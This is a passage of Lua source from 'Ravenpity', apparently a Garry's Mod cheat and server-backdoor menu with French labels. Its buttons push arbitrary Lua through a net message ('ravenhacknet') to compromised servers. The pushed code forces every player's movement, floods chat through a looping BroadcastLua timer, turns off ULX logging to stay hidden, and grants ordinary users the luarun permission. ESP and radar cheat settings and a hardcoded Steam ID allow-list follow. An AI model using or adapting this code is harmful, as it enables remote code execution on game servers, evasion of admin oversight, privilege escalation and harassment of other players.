- startsetturnright:SetTextColor( Color( 255, 255, 255 ) )
- end
- startsetturnright.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+right") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tourner à Droite activé" )
- end
- end
- local stopsetturnright = vgui.Create( "DButton", BackgroundSupportPanel)
- stopsetturnright:SetPos( 365, 35)
- stopsetturnright:SetSize( 20, 20 )
- stopsetturnright:SetText( "X" )
- stopsetturnright.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if stopsetturnright:IsHovered() then
- stopsetturnright:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- stopsetturnright:SetTextColor( Color( 255, 255, 255 ) )
- end
- stopsetturnright.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-right") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tourner à Droite désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local startsetturnleft = vgui.Create("DButton", BackgroundSupportPanel )
- startsetturnleft:SetPos( 0, 60)
- startsetturnleft:SetSize( 400, 30 )
- startsetturnleft:SetText("Tourner à Gauche")
- startsetturnleft:SetTextColor(Color(255,255,255,255))
- startsetturnleft.Paint = function(panel, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if startsetturnleft:IsHovered() then
- startsetturnleft:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- startsetturnleft:SetTextColor( Color( 255, 255, 255 ) )
- end
- startsetturnleft.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+left") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tourner à Gauche activé" )
- end
- end
- local stopsetturnleft = vgui.Create( "DButton", BackgroundSupportPanel)
- stopsetturnleft:SetPos( 365, 65)
- stopsetturnleft:SetSize( 20, 20 )
- stopsetturnleft:SetText( "X" )
- stopsetturnleft.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if stopsetturnleft:IsHovered() then
- stopsetturnleft:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- stopsetturnleft:SetTextColor( Color( 255, 255, 255 ) )
- end
- stopsetturnleft.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-left") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Tourner à Gauche désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local startsetduck = vgui.Create("DButton", BackgroundSupportPanel )
- startsetduck:SetPos( 0, 90)
- startsetduck:SetSize( 400, 30 )
- startsetduck:SetText("S'accroupir")
- startsetduck:SetTextColor(Color(255,255,255,255))
- startsetduck.Paint = function(panel, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if startsetduck:IsHovered() then
- startsetduck:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- startsetduck:SetTextColor( Color( 255, 255, 255 ) )
- end
- startsetduck.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+duck") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "S'accroupir activé" )
- end
- end
- local stopsetduck = vgui.Create( "DButton", BackgroundSupportPanel)
- stopsetduck:SetPos( 365, 95)
- stopsetduck:SetSize( 20, 20 )
- stopsetduck:SetText( "X" )
- stopsetduck.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if stopsetduck:IsHovered() then
- stopsetduck:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- stopsetduck:SetTextColor( Color( 255, 255, 255 ) )
- end
- stopsetduck.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-duck") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "S'accroupir désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local startsetjump = vgui.Create("DButton", BackgroundSupportPanel )
- startsetjump:SetPos( 0, 120)
- startsetjump:SetSize( 400, 30 )
- startsetjump:SetText("Sauter")
- startsetjump:SetTextColor(Color(255,255,255,255))
- startsetjump.Paint = function(panel, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if startsetjump:IsHovered() then
- startsetjump:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- startsetjump:SetTextColor( Color( 255, 255, 255 ) )
- end
- startsetjump.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+jump") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Saut activé" )
- end
- end
- local stopsetjump = vgui.Create( "DButton", BackgroundSupportPanel)
- stopsetjump:SetPos( 365, 125)
- stopsetjump:SetSize( 20, 20 )
- stopsetjump:SetText( "X" )
- stopsetjump.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if stopsetjump:IsHovered() then
- stopsetjump:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- stopsetjump:SetTextColor( Color( 255, 255, 255 ) )
- end
- stopsetjump.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-jump") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Saut désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local startsetforward = vgui.Create("DButton", BackgroundSupportPanel )
- startsetforward:SetPos( 0, 150)
- startsetforward:SetSize( 400, 30 )
- startsetforward:SetText("Avancer")
- startsetforward:SetTextColor(Color(255,255,255,255))
- startsetforward.Paint = function(panel, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if startsetforward:IsHovered() then
- startsetforward:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- startsetforward:SetTextColor( Color( 255, 255, 255 ) )
- end
- startsetforward.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+forward") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Avancer activé" )
- end
- end
- local stopsetforward = vgui.Create( "DButton", BackgroundSupportPanel)
- stopsetforward:SetPos( 365, 155)
- stopsetforward:SetSize( 20, 20 )
- stopsetforward:SetText( "X" )
- stopsetforward.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if stopsetforward:IsHovered() then
- stopsetforward:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- stopsetforward:SetTextColor( Color( 255, 255, 255 ) )
- end
- stopsetforward.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-forward") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Avancer désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local startsetback = vgui.Create("DButton", BackgroundSupportPanel )
- startsetback:SetPos( 0, 180)
- startsetback:SetSize( 400, 30 )
- startsetback:SetText("Reculer")
- startsetback:SetTextColor(Color(255,255,255,255))
- startsetback.Paint = function(panel, w, h)
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if startsetback:IsHovered() then
- startsetback:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- startsetback:SetTextColor( Color( 255, 255, 255 ) )
- end
- startsetback.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("+back") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Reculer activé" )
- end
- end
- local stopsetback = vgui.Create( "DButton", BackgroundSupportPanel)
- stopsetback:SetPos( 365, 185)
- stopsetback:SetSize( 20, 20 )
- stopsetback:SetText( "X" )
- stopsetback.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if stopsetback:IsHovered() then
- stopsetback:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- stopsetback:SetTextColor( Color( 255, 255, 255 ) )
- end
- stopsetback.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString([[for k,v in pairs(player.GetAll()) do v:ConCommand("-back") end]])
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Reculer désactivé" )
- end
- end
- end
- /*======================================================================================================================================================================================
- Commandes Options
- ========================================================================================================================================================================================*/
- function RAVEN.Commandes()
- if RAVEN.CommandesListe and RAVEN.CommandesListe:IsVisible() then RAVEN.CommandesListe:Remove() end
- RAVEN.CommandesListe = vgui.Create("DFrame")
- RAVEN.CommandesListe:SetSize(682,350)
- RAVEN.CommandesListe:SetTitle("")
- RAVEN.CommandesListe:SetPos( 342, 250 )
- RAVEN.CommandesListe:MakePopup()
- RAVEN.CommandesListe:ShowCloseButton( false )
- RAVEN.CommandesListe.Paint = function( s, w, h )
- if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
- surface.SetDrawColor( Color(30, 30, 30, 255) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(55, 55, 55, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local CloseButtonCommandes = vgui.Create( "DButton", BackgroundSupportPanel)
- CloseButtonCommandes:SetPos( 0, 370)
- CloseButtonCommandes:SetSize( 400, 30 )
- CloseButtonCommandes:SetText( "X" )
- CloseButtonCommandes.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CloseButtonCommandes:IsHovered() then
- CloseButtonCommandes:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CloseButtonCommandes:SetTextColor( Color( 255, 255, 255 ) )
- end
- CloseButtonCommandes.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- end
- end
- local ReturnButtonCommandes = vgui.Create( "DButton", BackgroundSupportPanel)
- ReturnButtonCommandes:SetPos( 0, 340)
- ReturnButtonCommandes:SetSize( 400, 30 )
- ReturnButtonCommandes:SetText( "<--" )
- ReturnButtonCommandes.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ReturnButtonCommandes:IsHovered() then
- ReturnButtonCommandes:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ReturnButtonCommandes:SetTextColor( Color( 255, 255, 255 ) )
- end
- ReturnButtonCommandes.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- LocalPlayer():ConCommand("ravenpity_start")
- end
- end
- -------------------------------------------------------------------------------------|
- local spamchaton = vgui.Create( "DButton", BackgroundSupportPanel)
- spamchaton:SetPos( 0, 0)
- spamchaton:SetSize( 400, 30 )
- spamchaton:SetText( "Spam le Chat" )
- spamchaton.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spamchaton:IsHovered() then
- spamchaton:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- spamchaton:SetTextColor( Color( 128, 119, 255 ) )
- end
- spamchaton.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString("timer.Create( \"rekt\", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), \"♣♣ AIE COUP DUR POUR HOPER, GOT LEAKED ! ♣♣\")]]) end)")
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Spam Chat activé" )
- end
- end
- local spamchatoff = vgui.Create( "DButton", BackgroundSupportPanel)
- spamchatoff:SetPos( 365, 5)
- spamchatoff:SetSize( 20, 20 )
- spamchatoff:SetText( "X" )
- spamchatoff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if spamchatoff:IsHovered() then
- spamchatoff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- spamchatoff:SetTextColor( Color( 255, 255, 255 ) )
- end
- spamchatoff.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString("timer.Stop( \"rekt\")")
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Spam Chat désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local ulxlogecho = vgui.Create( "DButton", BackgroundSupportPanel)
- ulxlogecho:SetPos( 0, 30)
- ulxlogecho:SetSize( 400, 30 )
- ulxlogecho:SetText( "Enlever les Logs" )
- ulxlogecho.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ulxlogecho:IsHovered() then
- ulxlogecho:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ulxlogecho:SetTextColor( Color(255, 255, 255, 150))
- end
- ulxlogecho.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString( "RunConsoleCommand(\"ulx_logecho\", \"0\")" )
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Vous êtes maintenant discret" )
- end
- end
- -------------------------------------------------------------------------------------|
- local luarunforusers = vgui.Create( "DButton", BackgroundSupportPanel)
- luarunforusers:SetPos( 0, 60)
- luarunforusers:SetSize( 400, 30 )
- luarunforusers:SetText( "Luarun aux Users" )
- luarunforusers.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if luarunforusers:IsHovered() then
- luarunforusers:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- luarunforusers:SetTextColor( Color( 255, 255, 255 ) )
- end
- luarunforusers.DoClick = function()
- net.Start(ravenhacknet)
- net.WriteString("RunConsoleCommand(\"ulx\", \"groupallow\", \"user\", \"ulx luarun\")")
- net.WriteBit(1)
- net.SendToServer()
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Les Users ont désormais accès au Luarun" )
- end
- end
- -------------------------------------------------------------------------------------|
- local detectoron = vgui.Create( "DButton", BackgroundSupportPanel)
- detectoron:SetPos( 0, 90)
- detectoron:SetSize( 400, 30 )
- detectoron:SetText( "Détecteur de Mouvement" )
- detectoron.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if detectoron:IsHovered() then
- detectoron:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- detectoron:SetTextColor( Color( 255, 255, 255 ) )
- end
- detectoron.DoClick = function()
- LocalPlayer():ConCommand( "lix_lesp_detectadd" )
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Détecteur plaçé" )
- end
- end
- local detectoroff = vgui.Create( "DButton", BackgroundSupportPanel)
- detectoroff:SetPos( 365, 95)
- detectoroff:SetSize( 20, 20 )
- detectoroff:SetText( "X" )
- detectoroff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if detectoroff:IsHovered() then
- detectoroff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- detectoroff:SetTextColor( Color( 255, 255, 255 ) )
- end
- detectoroff.DoClick = function()
- LocalPlayer():ConCommand( "lix_lesp_detectremove" )
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Détecteur supprimé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local mirroron = vgui.Create( "DButton", BackgroundSupportPanel)
- mirroron:SetPos( 0, 120)
- mirroron:SetSize( 400, 30 )
- mirroron:SetText( "Mirroir" )
- mirroron.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if mirroron:IsHovered() then
- mirroron:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- mirroron:SetTextColor( Color( 255, 255, 255 ) )
- end
- mirroron.DoClick = function()
- LocalPlayer():ConCommand( "lix_lesp_mirror 1" )
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Mirroir activé" )
- end
- end
- local mirroroff = vgui.Create( "DButton", BackgroundSupportPanel)
- mirroroff:SetPos( 365, 125)
- mirroroff:SetSize( 20, 20 )
- mirroroff:SetText( "X" )
- mirroroff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if mirroroff:IsHovered() then
- mirroroff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- mirroroff:SetTextColor( Color( 255, 255, 255 ) )
- end
- mirroroff.DoClick = function()
- LocalPlayer():ConCommand( "lix_lesp_mirror 0" )
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Mirroir désactivé" )
- end
- end
- -------------------------------------------------------------------------------------|
- local radaron = vgui.Create( "DButton", BackgroundSupportPanel)
- radaron:SetPos( 0, 150)
- radaron:SetSize( 400, 30 )
- radaron:SetText( "Radar" )
- radaron.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if radaron:IsHovered() then
- radaron:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- radaron:SetTextColor( Color( 255, 255, 255 ) )
- end
- radaron.DoClick = function()
- LocalPlayer():ConCommand( "lix_lesp_radarfov 1500" )
- LocalPlayer():ConCommand( "lix_lesp_radar 1" )
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Radar activé" )
- end
- end
- local radaroff = vgui.Create( "DButton", BackgroundSupportPanel)
- radaroff:SetPos( 365, 155)
- radaroff:SetSize( 20, 20 )
- radaroff:SetText( "X" )
- radaroff.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if radaroff:IsHovered() then
- radaroff:SetTextColor( Color( 255, 255, 255 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 117, 117, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(255, 0, 0, 0 ))
- radaroff:SetTextColor( Color( 255, 255, 255 ) )
- end
- radaroff.DoClick = function()
- LocalPlayer():ConCommand( "lix_lesp_radar 0" )
- chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Ravenpity", "] ", Color( 255, 255, 255 ), "Radar désactivé" )
- end
- end
- end
- /*======================================================================================================================================================================================
- Updates
- ========================================================================================================================================================================================*/
- function RAVEN.Updates()
- if RAVEN.UpdatesListe and RAVEN.UpdatesListe:IsVisible() then RAVEN.UpdatesListe:Remove() end
- RAVEN.UpdatesListe = vgui.Create("DFrame")
- RAVEN.UpdatesListe:SetSize(682,350)
- RAVEN.UpdatesListe:SetTitle("")
- RAVEN.UpdatesListe:SetPos( 342, 250 )
- RAVEN.UpdatesListe:MakePopup()
- RAVEN.UpdatesListe:ShowCloseButton( false )
- RAVEN.UpdatesListe.Paint = function( s, w, h )
- if !RAVEN.Menu or !RAVEN.Menu:IsVisible() then s:Remove() return end
- surface.SetDrawColor( Color(30, 30, 30, 255) )
- surface.DrawRect( 0, 0, w, h )
- surface.SetDrawColor( Color(55, 55, 55, 255) )
- surface.DrawOutlinedRect( 0, 0, w, h )
- surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
- end
- local CloseButtonUpdates = vgui.Create( "DButton", BackgroundSupportPanel)
- CloseButtonUpdates:SetPos( 0, 370)
- CloseButtonUpdates:SetSize( 400, 30 )
- CloseButtonUpdates:SetText( "X" )
- CloseButtonUpdates.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if CloseButtonUpdates:IsHovered() then
- CloseButtonUpdates:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- CloseButtonUpdates:SetTextColor( Color( 255, 255, 255 ) )
- end
- CloseButtonUpdates.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- end
- end
- local ReturnButtonUpdates = vgui.Create( "DButton", BackgroundSupportPanel)
- ReturnButtonUpdates:SetPos( 0, 340)
- ReturnButtonUpdates:SetSize( 400, 30 )
- ReturnButtonUpdates:SetText( "<--" )
- ReturnButtonUpdates.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- if ReturnButtonUpdates:IsHovered() then
- ReturnButtonUpdates:SetTextColor( Color( 0, 0, 0 ) )
- draw.RoundedBox(0,0,0,w,h,Color(255, 255, 255, 150))
- else
- draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
- ReturnButtonUpdates:SetTextColor( Color( 255, 255, 255 ) )
- end
- ReturnButtonUpdates.DoClick = function()
- surface.PlaySound("UI/buttonrollover.wav")
- BaseHeader:Remove()
- LocalPlayer():ConCommand("ravenpity_start")
- end
- end
- -------------------------------------------------------------------------------------|
- local updates1_0 = vgui.Create( "DButton", BackgroundSupportPanel)
- updates1_0:SetPos( 0, 0)
- updates1_0:SetSize( 400, 30 )
- updates1_0:SetText( "Falait pas menacer " )
- updates1_0.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- end
- local updates1_1 = vgui.Create( "DButton", BackgroundSupportPanel)
- updates1_1:SetPos( 0, 30)
- updates1_1:SetSize( 400, 30 )
- updates1_1:SetText( "Ooops, leaked !" )
- updates1_1.Paint = function( self, w, h )
- draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
- end
- end
- -------------------------------------------------------------------------------------|
- /*====================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- PANEL END
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================*/
- hook.Add("HUDPaint", "WelcomeToRavenpity", function() draw.SimpleTextOutlined( "Ravenpity Activé | Login : "..steamworks.GetPlayerName( LocalPlayer():SteamID64() ).."", "ravenfonthello", ScrW()/2 + math.sin(RealTime()) * ScrW() / 85, ScrH()/15, Color( 185, 153, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0,0,0,160) ) end) end
- )
- end
- local Authorized = LocalPlayer():SteamID()
- if Authorized == "STEAM_0:0:189348722" -- Hoper
- or Authorized == "STEAM_0:1:243408561" -- Hoper Gilbertivoipa
- or Authorized == "STEAM_0:0:99959432" -- Null #1 (null#9907)
- or Authorized == "STEAM_0:0:205515998" -- Null #2 Sigma (null#9907)
- or Authorized == "STEAM_0:0:72098825" -- Frifri et Mruis ╲⎝⧹☭ℱ𝓻𝓲ℱ𝓻𝓲☭╲⎝⧹#2607 ╲⎝๖̶̶̶ζ͜͡ℳ𝓻.ℒ𝓾𝓲𝓼⎝⧹#3896
- or Authorized == "STEAM_0:0:161766720" -- Frifri et Mruis ╲⎝⧹☭ℱ𝓻𝓲ℱ𝓻𝓲☭╲⎝⧹#2607 ╲⎝๖̶̶̶ζ͜͡ℳ𝓻.ℒ𝓾𝓲𝓼⎝⧹#3896
- or Authorized == "STEAM_0:1:149464003" -- Neize/HawkTeam#6117
- or true
- then
- chat.AddText(Color(100,255,100), "[", "SUCCESS", "] ", Color( 255, 255, 255 ), "Oh no, got leaked on noxploit.pro :( " )
- else -- AntiLeak
- LocalPlayer():ConCommand("dontgetit")
- end
- /*====================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ESP / DETECTOR / RADAR / MIRROR
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================
- ======================================================================================================================================================================================*/
- local LESPSayPrefix = CreateClientConVar( "lix_lesp_sayprefix", "", true, false )
- local LESPSayDelay = 0
- local LESPOn = CreateClientConVar( "lix_lesp_on", 1, true, false )
- local LESPHealth = CreateClientConVar( "lix_lesp_health", 1, true, false )
- local LESPWeapon = CreateClientConVar( "lix_lesp_weapon", 1, true, false )
- local LESPMoney = CreateClientConVar( "lix_lesp_money", 1, true, false )
- local LESPDistance = CreateClientConVar( "lix_lesp_distance", 1, true, false )
- local LESPSpeed = CreateClientConVar( "lix_lesp_speed", 1, true, false )
- local LESPMirror = CreateClientConVar( "lix_lesp_mirror", 0, true, false )
